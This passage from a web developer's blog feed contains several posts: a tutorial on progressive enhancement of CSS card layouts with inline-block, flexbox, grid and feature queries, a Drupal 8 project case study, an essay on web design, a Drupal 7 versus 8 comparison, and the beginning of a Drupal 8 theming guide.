@supports (display: grid) {
  main {
    background-color: green;
  }
}

For browsers that support grid, the background colour of the main element will be green (because the conditional resolves to true), while for browsers that do not support grid, main will have a background colour of red.

The implication of this behaviour means that we can layer on enhanced styles based on the features we want to use and these styles will show up in browsers that support them. But for those that do not, they will get a more basic look that still works anyway. And that will be our approach moving forward.

Websites do NOT need to look the same on every browser.

First principles of CSS: specifications

Before we go into this, I want to emphasise that implementing layout on the web is significantly different than that on any other media. Why? Because our canvas is the browser and the only way to manipulate the layout is through code.

This degree of separation between the canvas and our input means that we must have knowledge of the workings of the browser that will render our code on the screen, a clear understanding of how the code we write will be interpreted.

A little more than a year ago, I asked the question, How well do you know CSS display? That was the first time I sat down and really read the CSS Display Module Level 3 specification. Layout is quite a large topic and crosses multiple specifications, including the CSS Positioned Layout Module Level 3, CSS Box Alignment Module Level 3, CSS Intrinsic & Extrinsic Sizing Module Level 3 and so on. You get the picture.

The specifications themselves refer to each other liberally, and thus reading one of them can result in your browser tab collection growing exponentially as you get linked to more and more related specifications (or maybe it's just me) 😈.

What is this display you speak of?

In case you don't share my interest in reading specifications, let's briefly go through some of the more salient points of the CSS Display specification.

Browsers draw boxes
CSS generates a box tree
Each box represents its corresponding element on the canvas
For each element, CSS generates zero or more boxes based on the element's display property

If you've never read the specification before, I suspect you wouldn't know that the display property defines an element's display type, which is how an element generates boxes. There are 2 basic display types, inner and outer.

The inner display type dictates how child boxes are laid out.

The outer display type dictates how the box itself participates in the layout.

There are additional display values like <display-listitem>, <display-internal>, <display-box> and <display-legacy>.

A formatting context is the environment in which a set of related boxes are laid out, and different formatting contexts will lay out their boxes according to different sets of rules.

We started out with the block formatting context and inline formatting context back in the 1998 CSS2 working draft, but with the addition of more layout options since then, we now also have the table formatting context, flex formatting context, grid formatting context and ruby formatting context.

Block-level elements are elements that generate a block-level principle box, which participate in the block formatting context. Inline-level elements are elements that do not form new blocks of content, and their content is distributed in lines. They generate inline-level boxes, which participate in the inline formatting context.

An inline-block element, however, is not an inline box. It exists in that in-between state because it participates in the inline formatting context as a single opaque box.

Okay, I think that's enough specification talk for now. There's so much more to cover, so I'll probably do this in bits and pieces, for easier digestibility 🤓.

Basic, like really basic

I just watched Rachel Andrew's talk at NordicJS the other night and one of the things she covered (and I live-tweeted) was how to fallback gracefully by understanding how the browser handles overridden CSS properties.

do you know what happens when your layout-related css properties override earlier ones? #nordicjs #css #grid pic.twitter.com/g6kOxiSeZO
— HJ Chen (@hj_chen) 7 September 2017

I'm going to be using 25 card-style items for the layout demo. Each card will have an image, a title and a subtitle. The title and subtitle text have variations on their lengths, because that's just how real life works. The markup, which will be used for all the layouts demonstrated in this post, looks something like this:

<main class="grid">
  <div class="grid__item">
    <img class="card__img" src="images/image1.jpg" />
    <h2>Card title</h2>
    <p>Because the card pattern is soooo popular right now...</p>
  </div>
  <div class="grid__item">
    <img class="card__img" src="images/image2.jpg" />
    <h2>Card title</h2>
    <p>Because the card pattern is soooo popular right now, but not all text are made the same</p>
  </div>
  <!-- And repeat the .grid__item another 23 times -->
</main>

So in that vein, let's start off with the most basic of layouts using inline-block.

The `inline-block` layout

Because I'm a stickler for punishment, this basic layout was tested to be working on IE8 (not further back, as I'm not a masochist). This option assumes that each card is a fixed size (e.g. 20em), and the entire layout will be centred on the viewport.

This is actually kinda responsive (on IE8 no less)

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

The code for this isn't very complicated, as the layout container is set to display: inline-block, centring involves using text-align: center on its parent, in this case, the body element.

body {
  text-align: center;
}

.grid {
  display: inline-block;
}

.grid__item {
  width: 20em;
  display: inline-block;
  vertical-align: top;
  margin: 1em 0.5em;
  text-align: left;
}

This method works reasonably well if you want all the items in your grid to be the same fixed width, and doesn't take much code to do it. You may run into issues if your images are not all the same height though.

Well, some people might not like this

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

I'll cover the image handling issue in a different post, but for support that goes back to IE8, we can't use the current markup. Also, if the last row has less items that the total number of columns, they will end up centre-aligned regardless, and maybe you don't want that either.

Okay, let's look at another method that falls under the basic category.

The `float` layout

Ah, the trusty float. This was the prevailing method for a pretty long time, and I'm sure there are many sites that are still using this technique. Responsive float-based layouts are, for the most part, not simple affairs.

Floats weren't meant for doing page layout to begin with, hence all the trouble with clearing floats, especially when dealing with irregularly sized items within the layout.

And because of the heavy reliance on media queries, a lot of designers just chose to cap the maximum width of the grid, so you didn't have to write a slew of media queries to support larger and larger viewports. I'm just going to forget that, and max out my layout's column count at 5 🤷.

Flexi-floaty layout of cards

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

Just wanted to add that, if we wanted to make the inline-block layout items take up the width of the viewport, we too can chuck in the same slew of media queries instead of using a fixed width.

Okay, the following code is going to be loooooong...

.clearfix::after {
  content: "";
  display: table;
  clear: both;
}

.grid__item {
  float: left;
  padding: 0.5em;
  width: 100%;
}

@media screen and (min-width: 480px) {
  .grid__item {
    width: 50%;
  }

  .grid__item:nth-child(2n + 1) {
    clear: left;
  }
}

@media screen and (min-width: 768px) {
  .grid__item {
    width: 33.333%;
  }

  .grid__item:nth-child(2n + 1) {
    clear: none;
  }

  .grid__item:nth-child(3n + 1) {
    clear: left;
  }
}

@media screen and (min-width: 1024px) {
  .grid__item {
    width: 25%;
  }

  .grid__item:nth-child(3n + 1) {
    clear: none;
  }

  .grid__item:nth-child(4n + 1) {
    clear: left;
  }
}

@media screen and (min-width: 1280px) {
  .grid__item {
    width: 20%;
  }

  .grid__item:nth-child(4n + 1) {
    clear: none;
  }

  .grid__item:nth-child(5n + 1) {
    clear: left;
  }
}

I also cheated and added a .clearfix class to the layout container, because you can't have a float-based layout without clearing it. You just can't. Sorry. But regardless of whether the width of the layout item is fixed or flexible, the nth-child selectors for activating and removing clears are still required.

Because of that, this particular style of writing floats doesn't work on IE8. Only IE9 and above. To negate the nth-child support issue, we would need additional wrappers around the number of items per viewport. As such, I will admit to rejecting multiple proposals by my designers of “4-3-2-1” responsive columns in the past.

Fallback technique winner: `inline-block`

Given this basic layout is meant to be the basic fallback, I'd go with the inline-block technique, because it's much less code, and still looks reasonably decent. And remember that:

Websites do NOT need to look the same on every browser.

Bedgy, that's like, basic and edgy

So this will be our first layer of feature query, with Flexbox. The idea of Flexbox was discussed before 2008, with the first working draft of the specification published in 2009. But the implementation of Flexbox was rather messy.

The trouble was that a number of developers used this yet-to-be-finalised feature in production, so everyone was in a bind when it came to updating the implementation. Well, that time has passed, and currently, Flexbox support is excellent.

Can I Use flexbox? Data on support for the flexbox feature across the major browsers from caniuse.com.

A common issue I hear is that it's difficult to create a grid system with Flexbox. The thing about Flexbox is, even though you can make a grid system with it, it isn't the best idea to do so. Flexbox is suited for laying out items in a single dimension, where there isn't a relationship between the rows and columns. Think of it more like a daisy chain of flex children.

Either in rows...

...or in columns

Flex items are laid out and aligned within flex lines, which are those purple lines in the diagram. FYI these diagrams I sort of stole from the wonderful Brenda Storer (I did tell her though) to illustrate this concept. Okay, hers look better than mine but I can't just use hers directly, that would be plagiarism.

.grid {
  display: flex;
  flex-wrap: wrap;
  margin: -1em 0 1em -0.5em;
}

.grid__item {
  padding: 1em 0 0 0.5em;
  flex: 1 0 20em;
}

So keep in mind that Flexbox isn't exactly good at being a proper grid. It doesn't handle gutters natively, hence the use of negative margins to get some space between each layout item. In general, Flexbox holds up pretty well, until we get to the last row of the layout. Unless it happens to end at a neat number, we usually end up with some odd orphan layout item(s).

Well, we did tell ‘em to be flexible

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

We can resolve this by doing the same thing we did for floats, and that is, introduce a slew of media queries, like so:

.grid__item {
  padding: 1em 0 0 0.5em;
}

@media screen and (min-width: 480px) {
  .grid__item {
    width: 50%;
  }
}

@media screen and (min-width: 768px) {
  .grid__item {
    width: 33.333%;
  }
}

@media screen and (min-width: 1024px) {
  .grid__item {
    width: 25%;
  }
}

@media screen and (min-width: 1280px) {
  .grid__item {
    width: 20%;
  }
}

Another option is to cap the maximum width of each layout item, so the orphaned items don't grow to ridiculous sizes. However, by default, everything will align left, and there may be instances where you have an excess of white space on the right of the layout container.

If you're okay with that, awesome. But anecdotally, most people would like to centre things. 🤷

A little bit about box alignment

Enter, box alignment.

I know I said no more spec talk but this is pretty important, and I'm only covering a tiny part of it, specifically the part on content distribution, i.e. aligning a box's contents within itself.

There are 2 relevant properties for this purpose, align-content and justify-content, as well as a shorthand place-content. As of time of writing, place-content is only supported in Chrome 59 and above, as well as Firefox (not sure from which version onwards though).

These properties behave slightly differently depending on the container they are applied to, so I'll just focus on flex container behaviour for now. justify-content affects the flex items in each flex line and applies along the main axis. align-content affects the flex lines themselves and applies along the cross-axis.

Why not use horizontal and vertical axis? Because these physical directions may be different depending on the flex direction applied to the flex container, as well as the writing mode of the document, in various configurations. The diagrams below are just a subset of all possible permutations.

flex-direction: row

horizontal-tb (ltr)

horizontal-tb (rtl)

flex-direction: column

vertical-rl

vertical-lr

For this particular demo, we're sticking with the most common setup of flex-direction: row and writing mode of horizontal-tb. The use case here is to centre the content along the horizontal plane, i.e. the main axis. So the property we want to call upon will be justify-content.

There are a myriad of values available for this property, those for distributing content and those for positioning content. For positioning, we have center, flex-start, flex-end, start and end. For distribution, we have stretch, space-around, space-between and space-evenly.

Those values prefixed with flex- only apply to flex containers, but otherwise they do what they say they will do, in that items will align to the start/centre/end of the container. Unfortunately, there is an IE11 bug for justify-content: center, so maybe we could use space-around instead.

For distribution, stretch is treated the same as flex-start. The difference between the other three is the amount of space between each item. space-between will result in the first and last items of the row being flush with the edges of the container.

space-around gives each item an equal amount of space around themselves.

space-evenly, which is only supported by Firefox as of time of writing, distributes all the items evenly on the row, so the space between the first and last items and the edge of the container is the same as between items.

Personally, I will go for the justify-content: space-around option and hence my flexbox code will end up looking like this:

@supports (display: flex) {
  .grid {
    display: flex;
    flex-wrap: wrap;
    margin: -1em 0 1em -0.5em;
    justify-content: space-around;
  }

  .grid__item {
    padding: 1em 0 0 0.5em;
    flex: 1 0 20em;
    max-width: 20em;
    width: auto;
    margin: initial;
  }
}

The width: auto is used to reset the width value applied on the basic layout, and same goes for margin: initial. Now because feature queries are not supported by IE11 and below, none of the code in this block will apply on those browsers. Hence the lack of support for the initial property on those browsers is also a moot point.

It just so happens that the browsers that do support feature queries recognise initial as well, so maybe we lucked out for that one. Except Opera Mini. But I checked to see how it looked, and it really isn't that bad, so I'll just live with the extra margin there. Otherwise, you can set an explicit value for the margin for the flex layout, which is fine too.

Again, it's your call on whether having the orphaned items display differently is acceptable or not. It might be alright if your layout items don't have an image that spans the full width of the item, or it might not. Every context is different.

Websites do NOT need to look the same on every browser.

Why hello, Grid, you revolutionary, you...

There's so much I want to say about Grid, but I will hold it all in and only cover what is necessary to achieve the basic grid layout within the scope of this post.

Grid is the most impressive roll-out of a new CSS feature I have ever seen, largely in part due to its development behind a flag. This meant that developers could test out Grid and provide feedback to the browser vendors yet be deterred from writing production code that wasn't fully baked yet.

The only issue with this approach, which Rachel Andrew has highlighted time and time again, is that developer feedback isn't as enthusiastic as we want it to be.

If you don't test and offer feedback on new CSS like grid layout you are trusting your future tools to the very few of us who do.
— Rachel Andrew (@rachelandrew) July 15, 2016

The CSS working group has put all the working drafts of specification on GitHub and all of us are free to participate in discussions, raise issues and provide feedback. If you spot something tiny, like a typo in the specification, you can submit a pull request. It doesn't take too much effort, honestly.

Grid is different from all the layout techniques we've used in the past because it is the only solution that works from the container in (credit to Rachel Andrew for this concept). It calls for a big picture view of the grid you have in mind, as opposed to sizing each item individually, which may sometimes lead to a “missing the forest for the trees” situation.

The major benefit here is that we don’t need elements to depend on each other for placement. We can specify their position on x and y axis independent of what is around them.
— Brenda Storer

Now that's good behaviour

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

Another fantastic functionality that only pertains to Grid (at the moment), is grid-gap. We can now tell the browser that we want gaps between the items in our layout and the browser will figure the math out. And we have this feature because Rachel Andrew pushed for it at CSS Day and specification author, Elika J. Etemad (AKA Fantasai), who was in the audience, wrote it into the specification. Detailed story here.

Anyway, with Grid, we finally have a legit technique for laying out items in a grid. Like Pinocchio finally becoming a real boy. None of that complicated math to determine the best width for each item, no more messing with negative margins for gaps. Just good solid CSS grid code.

@supports (display: grid) {
  .grid {
    display: grid;
    grid-template-columns: repeat(auto-fill, minmax(20em, 1fr));
    grid-gap: 0.5em;
    margin: initial;
  }

  .grid__item {
    padding: initial;
    max-width: none;
  }
}

The basic premise of how grid works involves defining the grid, via the grid-template-columns and grid-template-rows. These properties allow you to define the size of the grid tracks for columns and rows respectively. We can then place items in the grid, either by ourselves or allowing the browser to do it for us.

For a regular basic grid, the browser can do it so much better than us, because, you know, math is more their forte than ours? No seriously, the grid auto-placement algorithm is really awesome.

In this basic grid, we're making use of the repeat() function, and the minmax() function. The repeat() function saves us the trouble of having to repeat the same pattern of columns/rows by hand. It also takes either the auto-fill or auto-fit argument, which means the browser will determine how many columns or rows the grid should have, based on the available space.

minmax() takes 2 arguments, a size range between the <min> and <max> values. It let's us cap the minimum width of a grid item at a fixed/inflexible width (<min>), while the <max> value can be a fixed value, a flex value or determined by content size using min-content or max-content.

grid-template-columns: repeat(auto-fill, minmax(20em, 1fr));

This line tells the browser I want to have as many grid columns as the space given allows that are at least 20ems wide. If there is any extra space available, distribute it evenly amongst all the columns. No extra math, no slew of media queries 🙆.

grid-gap: 0.5em;

Instead of using paddings and margins for gutters between each grid item, I just have to set the grid-gap to whatever value I want the gutters to be. grid-gap is actually a short-hand for <‘grid-row-gap’> <‘grid-column-gap’>?, and takes in 2 arguments. If you only use 1 argument, both properties will take the same value.

Altogether now

The final layout code ends up looking like this, based on my decisions to use the inline-block technique for base browsers, the space-around technique for yes-flex-no-grid browsers and grid for all the new kids.

body {
  text-align: center;
}

.grid {
  display: inline-block;
}

.grid__item {
  width: 20em;
  display: inline-block;
  vertical-align: top;
  margin: 1em 0.5em;
  text-align: left;
}

@supports (display: flex) {
  .grid {
    display: flex;
    flex-wrap: wrap;
    margin: -1em 0 1em -0.5em;
    justify-content: space-around;
  }

  .grid__item {
    padding: 1em 0 0 0.5em;
    flex: 1 0 20em;
    max-width: 20em;
    width: auto;
    margin: initial;
  }
}

@supports (display: grid) {
  .grid {
    display: grid;
    grid-template-columns: repeat(auto-fill, minmax(20em, 1fr));
    grid-gap: 0.5em;
    margin: initial;
  }

  .grid__item {
    padding: initial;
    max-width: none;
  }
}

If you ask me, I don't think this is an excessive amount of code. But of course, you're free to disagree. I hope that this will convince you that progressively enhancing your CSS is a valuable design pattern to add to your repertoire.

Also, start reading the specifications if you haven't done so before. They are the root of how browsers are supposed to behave so if you do find a behaviour that doesn't seem right, it might very well be a browser bug. We can raise those with the respective browser vendors. And voilà! You've just made the web better 🎊.

Lastly, and say it with me...

Websites do NOT need to look the same on every browser.

Until the next one! 🤗

Useful resources

The one with big machines

Mon, 04 Sep 2017 00:00:00 GMT

It's time for my annual Drupal project again. I had actually got my start in web development with Drupal and although I've left agency life, it seems that I'd still end up with at least one Drupal project a year. Largely because when someone needs a CMS, I tend to lean toward Drupal, it's like Linus and his blanket 🤷.

Sinvict Technology is a company that manufactures CNC (Computer Numerical Control) machinery, as well as repairs and servicing for those machines. With their main client base in the South-east Asia region, one of their key concerns was to have their website be performant on dodgy network connections, as their existing site was around 11mb and took 1 minute to load. (I know this because I checked it, to prove a point 😈)

The site requirements were not overly complicated and I was also working with a designer I was familiar with, so things were a little smoother than if it was a complete stranger. Sinvict did not have an IT department, nor a dedicated staff member to be in charge of the website. Given such circumstances, I decided to host them on Pantheon, and then proceeded to write a blog post about it.

General requirements

Website performance score should be at least 75 and above
Responsive site that works well on mobile
Custom designed theme (provided by in-house designer)
Non-technical users can add and update content

These requirements were reasonable enough, and I'd worked on enough projects to understand that a website will LOOK 80% complete in 20% of the time, but the devil is in the details, and that is what takes up the bulk of the effort.

Building a website is a lot like creating a sculpture, where you start off with a heavy chisel cutting off large chunks of stone, then move on to a point chisel to actually carve out the details of the sculpture.

It all starts off with a basic installation of Drupal 8, plus some developer modules like Admin Toolbar, Devel and Browsersync. Views is part of core now, and honestly, I've never built a Drupal site without Views before, so I'm pretty happy about this for Drupal 8.

Module selection

I had already gone through two meetings with the key stakeholder and designer for the site and we had agreed on what functionality would be available on the site. Next, was to decide which modules would work best to achieve those features.

Based on the proposed design, using Panels to build out the pages seemed like the best approach, as there were numerous views of the same content type, each with different filtering criteria, that would appear on the various sections of the site. Panels allowed me to build out the site using blocks of content, kind of like piecing together a Lego house.

Panels is slightly different in Drupal 8 than Drupal 7. Because the interface is slightly different now, it took me quite a while before realising I could do use an existing node as a block by selecting Entity View (Content) from the Chaos Tools section when adding a new block. Custom block management is much sleeker now in Drupal 8 as well, and custom blocks replaced what I used to do with custom content panes in Drupal 7.

Display Suite remains an indispensable module, especially if the site you're building requires a custom theme, because DS lets you get really granular with how you want fields to be displayed. Field Group is helpful for custom layouts because sometimes certain fields need an extra wrapper around them for styling purposes.

Although Views is part of core, it seems Better Exposed Filters wasn't folded in there, and I'm sure there are pretty good reasons for that. But BEF is really helpful when you want to create filters that can be modified based on user input, and I'm quite thankful they managed to port this over to Drupal 8.

This site, being a kind of brochure site for second-hand CDC machines, ultimately needed some way to display all the images of the machines. So an image gallery was needed. The Flex Slider library was the closest fit to the design's requirements, and luckily there was already a Drupal module for that.

Custom theme work

Now, this is my bread and butter. So, because of this project, I ported my original starter base theme, Clarus, from Drupal 7 to Drupal 8, and took the opportunity to do some housekeeping, like removing unused dependencies and updating the gulpfile.js and so on.

A major change from Drupal 7 to Drupal 8 is the use of Twig as the templating language over PHPTemplate, so no more .tpl.php files. Instead, we have .html.twig files. The syntax of Twig is quite similar to Liquid, if you've ever used Jekyll before, this should ring a few bells for you.

A really helpful developer tweak is the ability to turn on debug mode, which adds comments when you inspect through DevTools that indicate which template suggestions work best for the specific section you're trying to customise.

Drupal 8 has pretty much has a revamped file and folder structure, so custom themes now go into the /themes folder, which to me, is much more intuitive. All the core files can be found in the /core folder, default themes and modules included.

The way to utilise external libraries is also different now, making use of a .libraries.yml file instead. We now declare the external resources, be it JavaScript or CSS, and include them only on pages that need them by declaring them in the appropriate template file.

We put in some little animations to spruce things up a bit, with this particular flip-effect utilising 3D CSS transforms, and for browsers that don't support it, and narrow screen sizes, it falls back to a simple opacity fade.

Flippy flippy.

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

There was also liberal use of viewport units throughout the entire theme. The quote marks on the About page are pseudo-elements placed behind the quote text, and they adjust themselves because, you know, media queries. And if you play the short video below, you'll notice use of the picture element where two different iamges are used for the banner depending on the screen width.

Gotta have a good quote.

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

Page performance

So one of the requirements was to NOT have the page be like 11mb and take 1 minute to load, which honestly is a really, really low bar. There are further optimisations possible because as of point of writing, we haven't moved to Pantheon's production server (this is still the development server), but you can see it loads under 2 seconds and weighs in at under 1mb, which I think is pretty decent.

WebPageTest

GTMetrix

Wrapping up

It was great to have the chance to flex my partly-atrophied Drupal muscles again and to familiarise myself with Drupal 8, which was something on my radar for the past 2 years that I never really got around to doing seriously. Also wonderful to work with clients that I have a good working relationship with because it made things go a lot smoother. Until the next one!

Rethinking web design

Sat, 12 Aug 2017 00:00:00 GMT

I've been thinking a lot about web design lately. Actually I've been thinking about web design ever since I started working on the web. But it was upon learning more about browsers' layout engines, how rendering works and their relationship with HTML and CSS that has shaped my current opinion of web design.

Perhaps you may not agree with me, but I do believe that an understanding of the history of the web, amongst many other things, is essential to becoming a better web designer. Let's be honest, the digital age we live in now moves at a break-neck speed. The first electronic computers came about in the 1940s, that's less than a century ago.

The web itself was invented by Sir Tim Berners-Lee in 1989. The web is a millennial, folks! Think about that the next time you get frustrated when building anything on the web 😈.

No, but seriously, this medium that has taken over the world in less than 30 years is still very young. Even though geographic distribution across the world is highly uneven, more than half the world uses a smartphone, and almost two-thirds of the world's population has a mobile phone.

Screens are the new hot-ness

OA-1008 Situation Display

PDP-1

Electronic screens were introduced as an output device in the 1950s and screen technology has improved rapidly over these past few decades. But electronic screens are a proxy medium, in that whatever we see displayed on a screen comes from data encoded as electronic signals. The heart of electronic displays is light. It is transient. We cannot touch light.

Before this, we've always used physical media as a means of visual communication, from writing on all kinds of surfaces, to creating art, paintings and sculptures, or even physical expression through dance and performance.

When we encounter something completely new, like the web, we always try to reconcile it with something we're already familiar with. In this case, the closest thing we had to the web was print. We even used similar terminology, calling them web pages.

However, because of the additional degree of separation between the creator and the final output, we cannot have the same set of expectations when it comes to handling the web as a medium. Let me attempt an emoji explanation.

Physical media

Digital media

My baby is growing up

My point is, designing for the web requires an intimate knowledge of the browser that will be rendering the final output. You can't stick your hands in there and change things directly. You have to change the instructions given to the browser, explaining how you would like things to be rendered instead.

When browsers first started out, they couldn't do much except display text and maybe images if you were lucky. Like a baby, that hasn't developed the motor skills to even sit up yet. But over the years, browsers have become more mature and vastly more capable. And when it comes to layout on the web, I feel that the release of CSS grid is like the web finally getting it's driver's license.

There are still a lot of legacy expectations brought over from print that cause designers a lot of frustration when designing for the web. I know, because I'd given my fair share of grief to them when I said, no, we can't build that because it requires resorting to measures of extreme-hackishness.

To me, the magic of the web is the process by which the web evolves. The web was meant to be an open platform. One where new features can be proposed and discussed by the community before being implemented into browsers.

Because you're amazing, just the way you are

The new normal I would like to see is one where people don't expect websites to look the same on different browsers and devices. Where we embrace the fluidity of content and work with it instead of against it. Where we cede control of our designs to the browsers that render them rather than constantly engage in this battle to dictate where every pixel should fall.

In this sense, Flexbox and CSS grid gives us a whole suite of commands to tell the browser how we'd like things to look depending on the context of the screen being used. And it's much easier to trust the browser if we understand how it works.

Yes, there are a boat-load of browsers using different layout engines and hence each have their own quirks, or release features at different times, and you know what? That's perfectly fine. Your parents didn't expect you to behave exactly like your siblings, did they? (Sorry, if they did)

Browsers operate on an evergreen update model now, so features and bug fixes get shipped much faster than we're used to with traditional software. So the range of browsers with varying features is extremely wide. This is part of parcel of web design, where we layer on different styles and looks based on feature support. This is part of the new normal I want to see.

Chrome

Firefox

IE11

Feature queries are a fantastic addition to our toolbox, because it allows us to perform this layering natively, without resorting to extraneous code libraries. If you had to write extra code to make the website look exactly the same on every browser, you could write less code and have designs that work well on browsers with different levels of feature support.

Mind over matter?

The hardest part is changing our thinking, not our CSS.
—Jen Simmons

Jen Simmons said this in her talk at An Event Apart a couple years ago, that we can always create the same old boring layouts we always have with these new powerful tools at our disposal. Or we can draw inspiration from graphic design and print magazines. Those sources of designs that, only a year before, I was saying could not be built. They couldn't be built before, but they can be now.

Some people might ask, why are we reinventing the wheel? We need to build things faster, with less effort, ship ship ship! I don't support that view. In fact, is the wheel still relevant when you're no longer on land? The web is a unique medium altogether. Maybe we ought to be thinking about wings instead.

It's not that I want things to take forever to build, but I still maintain a moderately romantic view of craftsmanship. A potter works his clay with deft fingers, a sculptor chisels his marble with the precision of a surgeon, and I would like to direct my browser like a conductor does his orchestra.

Wrapping up

So these are just a few thoughts I had as I develop my content for the two up-coming events I will be speaking at in September, namely Form, Function, Class 8 in the Philippines, and the Mozilla Developer Roadshow, Asia. Both are quality events run by wonderful people so if you're in the region, come and join us. We can geek out about the web together 🤓.

Drupal 7 versus Drupal 8

Fri, 11 Aug 2017 00:00:00 GMT

I've recently embarked on my first official Drupal 8 project, for Sinvict Technology (case study when the project launches), and it was interesting to see how certain things changed for the better, certain things stayed familiar and certain things seemed slightly worse off. I thought I'd write up some comparison notes between the two versions. This is my personal opinion based on my experiences. You should have your own opinion too.

Core is so much better

I really like the improvements made to core for Drupal 8. Making views part of core was a great idea, as was making the date field core as well. I felt the organisation of files in the new folder structure was more intuitive than before, you know, like themes go into the themes folder, and modules into the modules folder. Guess where the core files are? In the core folder. Gosh, who'd have thought?

Switching to YAML for configuration was also a welcome change for me. I'd used Jekyll extensively so this was very much up my alley. I find YAML easier to comprehend at a glance, it feels neater to me.

Having an example.settings.local.php included by default makes it easier for new users to wrap their heads around having a local configuration versus a production configuration, which I think makes for better collaboration between developers working on the same site.

Also, blocks. Custom blocks are now managed in their own section, making it so much neater. This part I like quite a lot. It used to be that the blocks management interface would get super cluttered as your project got larger and larger, but things are more organised in this current format.

Theming is different now

I'd heard about the theming revamp since Drupal 8 was first announced but hearing about something is considerably different from getting your hands dirty. One thing I do that goes against the grain is that I don't like to extend base themes, instead, I like to start off with a blank slate.

Which is why the inclusion of a troubleshooting theme like Stark was a plus in my eyes. Even though it wasn't meant to be used as a base theme, the fact that it was “stark” (sorry, it was right there) made it work for me. With a bare-bones starting point, I worked on creating an 8.x branch for my Drupal 7 starter theme, Clarus.

The mechanism for adding external libraries through the THEME_NAME.libraries.yml makes it easier to plug in JavaScript and CSS files and there's also the option to only load them where they are needed via Twig templates.

Oh, and about those Twig templates. There are parts I like and parts that I need to make myself get used to. The modularity of the templates is similar to the old system, making use of name-spacing to target specific components with increasing levels of granularity. But it also makes accessing variables a bit more tricky, in that I had to write pre-process functions in the THEME_NAME.theme file to have access to those. Maybe I'm doing it wrong 🤷.

But overall, the level of effort needed to create a completely custom theme wasn't all that different from that of Drupal 7, and perhaps once I get up to speed, it may be even faster? I dunno, I can't predict the future.

There's a module for that, or not anymore

So the thing with a major version change is that some modules don't get updated for it. Let's all remember that Drupal is pretty much a community-driven ecosystem, and all of us need to keep getting em‘ cheques, you know? Work is mostly volunteer-based unless some companies want to sponsor module development, so personally, I've never begrudged module maintainers for letting their modules go.

However, that also means going through the research process for a module that can do something similar, or writing your own. If the functionality is minor, then no problem, code it up yourself. But if it something that requires significant effort, and not included in your project budget, release the search hounds, I say!

Fortunately, most of the modules I used for Drupal 7 got ported over just fine, with the exception of Field Slideshow, but there were other ways to implement what I wanted. Some modules, like Panels, changed significantly and it took a while get used to.

For example, one of the things I used to do was create Panel pages for nodes where content authors could still make their updates via the standard edit interface for content types. Using panels allowed us to build a page with content from other sources as well, like views blocks and so on.

Because the interface is slightly different now, it took me quite a while before realising I could do that by selecting Entity View (Content) from the Chaos Tools section when adding a new block. Also, blocks. There doesn't seem to the option to create custom content panels any more, but the same end result can be achieved with custom blocks anyway, so no biggie.

Configuration management isn't features...yet

One of the best practices I picked up was to package up functionality into features for deployment, as well as easier tracking of development progress. Features 2.x in Drupal 7 was quite robust (or at least, suited to the method my team used) and allowed us to deploy new features from local to staging to production really smoothly.

I first tried out configuration management for the initial deployment of the site, and realised that you couldn't actually pick and choose multiple configurations to export, it was either all of them or a single configuration. Which was quite a bummer, because on local, there are certain modules purely used for development that I didn't want to include in the export but couldn't.

Hopefully this is something that will be enhanced moving forward, because having all the configuration stored in files does make things easier, but only if there's a higher level of control over what gets exported or not.

Wrapping up

I've been much less involved with Drupal over the last couple years though when I do get a project that needs a CMS, I find myself reaching for Drupal first. It's great to see that long wait for Drupal 8's release wasn't in vain, and my overall impressions of Drupal 8 are quite positive.

Drupal did kick-start my career, so you can say I have a soft spot for this particular CMS with a rather cute logo. If you haven't tried Drupal 8 yet, I think now is a good time to start.

Credits: OG:image from Phase2 Technology blog post on Transforming Enterprises with Drupal 8

Drupal 101: Getting started with Drupal 8 theming

Tue, 01 Aug 2017 00:00:00 GMT

Yes, I've finally got around to digging my mitts into Drupal 8, and building custom themes for Drupal 8. I have this bare-bones starter theme called Clarus that I developed back in the day when I was theming Drupal 7 sites willy-nilly. I thought I'd keep it, and develop a Drupal 8 branch rather than start a new project.

Drupal 8 has undergone quite a significant revamp under-the-hood, and the folder structure has changed quite a bit. Instead of placing your themes in the sites/all/themes folder, all user-created themes go into the themes folder. Well, that's an upgrade on the intuitive-ness front.

The documentation for theming Drupal 8 is really good, and you should read that before anything else if you're planning to do this custom theming thing. I generally follow whatever the guide says with a couple tweaks to suit my personal preferences.

Folder structure

As mentioned, all non-core themes should be placed in the themes folder. Create a new folder with the name of your theme. The guide suggests you put all contrib themes in a subfolder and your custom themes in another, for organisational purposes.

Speaking of organisation, it's best to create some subfolders inside your custom theme folder as well. I use Sass as part of my workflow, so I have an scss folder in there. It's not mandatory.

godzilla/
    ├── css
    ├── js
    ├── scss
    └── templates

The `.info.yml` file

A key difference from Drupal 7 is the extensive use of .yml for a lot of configuration. Instead of the .info file in Drupal 7, we now use a .info.yml file, which serves the same purpose, just in a different format. This file goes into the root of your theme folder.

The theme folder and this file should have the same name. Theme names have to be unique, so check that you don't clash with any modules you've installed. Theme names cannot have spaces in them. It's a PHP function thing.

I've used a LOT of Jekyll over the years, so YAML is not a problem for me. But if you're completely new to YAML, try reading some documentation first. Here's a cheatsheet-style summary and a basic introduction. Remember that tabs are not allowed in YAML, only use spaces, and the rule of 2-space indentation must be strictly followed.

Every time you make a change to the .info.yml file, you must also clear your cache to see the changes. There are seventeen key/value pairs that can be used to provide information and configuration options for your theme. Only three are required, though some of the optional ones are very useful to include as well.

name (required)
Defines the human-readable version of your theme name. This is the name that shows up on the{" "} Administration > Appearance screen. Because this serves as a label for your theme, you're allowed to use spaces, but put them in quotes if you do.

name: "Godzilla is rox"

type (required)
For the purposes of theming, this should always be set to theme.

type: theme

description
Optional but recommended to have. This is a brief description of your theme, which shows up below your theme name on the Administration > Appearance screen.

description: "A custom responsive Godzilla-based theme"

core (required)
Indicates what major version of Drupal the theme is compatible with. If this does not match the version of Drupal installed, the theme will be disabled.

core: 8.x

